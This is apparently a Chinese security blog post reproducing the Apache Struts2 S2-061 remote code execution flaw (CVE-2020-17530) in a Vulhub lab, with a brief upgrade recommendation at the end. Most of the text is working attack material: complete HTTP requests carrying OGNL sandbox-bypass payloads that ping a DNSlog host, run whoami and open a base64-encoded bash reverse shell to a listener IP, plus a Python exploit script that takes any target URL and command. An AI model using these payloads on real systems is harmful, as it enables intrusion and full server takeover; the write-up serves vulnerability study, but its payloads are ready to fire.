Apache Struts2--061远程代码执行漏洞复现

2020-12-29 15:23:15 浏览数 (1)

网安引领时代，弥天点亮未来

0x00漏洞简述

Apache Struts2框架是一个用于开发Java EE网络应用程序的Web框架。Apache Struts于2020年12月08日披露 S2-061 Struts 远程代码执行漏洞，开发人员使用了 %{…} 语法，从而攻击者可以通过构Payload，从而造成远程代码执行。

该漏洞编号为 CVE-2020-17530 ，漏洞等级：高危 ，漏洞评分：7.5

S2-061是对S2-059沙盒进行的绕过！

0x01影响版本

Apache Struts2：2.0.0 - 2.5.25

0x02漏洞复现

漏洞项目

代码语言：javascript复制
https://github.com/vulhub/vulhub/tree/master/struts2/s2-061

虚拟机部署docker安装Vulhub一键搭建漏洞测试靶场环境。

docker-compose up -d

1、漏洞环境启动

2、访问漏洞环境

3、测试漏洞是否存在

代码语言：javascript复制
%{ 'yunzui' + (520 + 520).toString()}

执行效果

代码语言：javascript复制
http://192.168.60.139:8080/?id=%{ 'yunzui' + (520 + 520).toString()}

4、漏洞利用

1.DNSlog出网验证

域名生成 rtlyas.dnslog.cn

代码语言：javascript复制
POST /index.action HTTP/1.1
Host: 192.168.60.139:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Length: 846
------WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Disposition: form-data; name="id"
%{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("ping rtlyas.dnslog.cn")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))}
------WebKitFormBoundaryl7d1B1aGsV2wcZwF--

DNGlog记录发现可以出网

2.exp进行命令执行 whoami

方法一

代码语言：javascript复制
POST /index.action HTTP/1.1
Host: 192.168.60.139:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Length: 831
------WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Disposition: form-data; name="id"
%{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("whoami")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))}
------WebKitFormBoundaryl7d1B1aGsV2wcZwF--

方法二

代码语言：javascript复制
POST /index.action HTTP/1.1
Host: 192.168.60.139:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Length: 1365
------WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Disposition: form-data; name="id"
%{
(#request.map=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0)   
(#request.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0)   
(#request.map2=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0)  
(#request.map2.setBean(#request.get('map').get('context')) == true).toString().substring(0,0)   
(#request.map3=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0)   
(#request.map3.setBean(#request.get('map2').get('memberAccess')) == true).toString().substring(0,0)   
(#request.get('map3').put('excludedPackageNames',#application.get('org.apache.tomcat.InstanceManager').newInstance('java.util.HashSet')) == true).toString().substring(0,0)   
(#request.get('map3').put('excludedClasses',#application.get('org.apache.tomcat.InstanceManager').newInstance('java.util.HashSet')) == true).toString().substring(0,0)  
(#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'whoami'}))
}
------WebKitFormBoundaryl7d1B1aGsV2wcZwF--

3.反弹shell命令

通过以下在线地址将bash反弹命令进行进行编码转换

bash -i >& /dev/tcp/192.168.60.129/8888 0>&1

代码语言：javascript复制
http://www.jackson-t.ca/runtime-exec-payloads.html
代码语言：javascript复制
POST /index.action HTTP/1.1
Host: 192.168.60.139:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Length: 1456
------WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Disposition: form-data; name="id"
%{
(#request.map=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0)   
(#request.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0)   
(#request.map2=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0)  
(#request.map2.setBean(#request.get('map').get('context')) == true).toString().substring(0,0)   
(#request.map3=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0)   
(#request.map3.setBean(#request.get('map2').get('memberAccess')) == true).toString().substring(0,0)   
(#request.get('map3').put('excludedPackageNames',#application.get('org.apache.tomcat.InstanceManager').newInstance('java.util.HashSet')) == true).toString().substring(0,0)   
(#request.get('map3').put('excludedClasses',#application.get('org.apache.tomcat.InstanceManager').newInstance('java.util.HashSet')) == true).toString().substring(0,0)  
(#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'bash -c {echo,YmFzaCAtaSA JiAvZGV2L3RjcC8xOTIuMTY4LjYwLjEyOS84ODg4ICAwPiYx}|{base64,-d}|{bash,-i}'}))
}
------WebKitFormBoundaryl7d1B1aGsV2wcZwF--

发现可以成功反弹shell

4.Python脚本验证

代码语言：javascript复制
# encoding=utf-8
import requests
import sys
from lxml import etree




def exp(url,cmd):
    payload="%{('Powered_by_Unicode_Potats0,enjoy_it').(#UnicodeSec = #application['org.apache.tomcat.InstanceManager']).(#potats0=#UnicodeSec.newInstance('org.apache.commons.collections.BeanMap')).(#stackvalue=#attr['struts.valueStack']).(#potats0.setBean(#stackvalue)).(#context=#potats0.get('context')).(#potats0.setBean(#context)).(#sm=#potats0.get('memberAccess')).(#emptySet=#UnicodeSec.newInstance('java.util.HashSet')).(#potats0.setBean(#sm)).(#potats0.put('excludedClasses',#emptySet)).(#potats0.put('excludedPackageNames',#emptySet)).(#exec=#UnicodeSec.newInstance('freemarker.template.utility.Execute')).(#cmd={'" cmd "'}).(#res=#exec.exec(#cmd))}"
    tturl=url "/?id=" payload
    r=requests.get(tturl)
    page=r.text
#   etree=html.etree
    page=etree.HTML(page)
    data = page.xpath('//a[@id]/@id')
    print(data[0])


if __name__=='__main__':
    print(' ------------------------------------------------------------ ')
    print('  EXP: python struts2-061-poc.py http://8.8.8.8:8080 id       ')
    print('  VER: Struts 2.0.0-2.5.25                                    ')
    print(' ------------------------------------------------------------ ')
    print('  S2-061 RCE && CVE-2020-17530                                ')
    print(' ------------------------------------------------------------ ')
    if len(sys.argv)!=3:
        print("[ ]ussage: http://ip:port command")
        print("[ ]============================================================")
        sys.exit()
    url=sys.argv[1]
    cmd=sys.argv[2]
exp(url,cmd)
代码语言：javascript复制
python CVE-2020-17530.py http://192.168.60.139:8080 whoami

0x03修复建议

升级到 Struts 2.5.26 版本

下载地址为：

代码语言：javascript复制
https://cwiki.apache.org/confluence/display/WW/Version Notes 2.5.26

0x04参考链接

https://mp.weixin.qq.com/s/rcfXIBSpNtgCFua0yUK_ew

https://blog.csdn.net/weixin_45728976/article/details/110875648

https://mp.weixin.qq.com/s/KyOTJtRvUm9pFXei0OZlVg

https://www.cnblogs.com/backlion/p/14122528.html

知识分享完了

安全 struts https 网络安全 apache

0 人点赞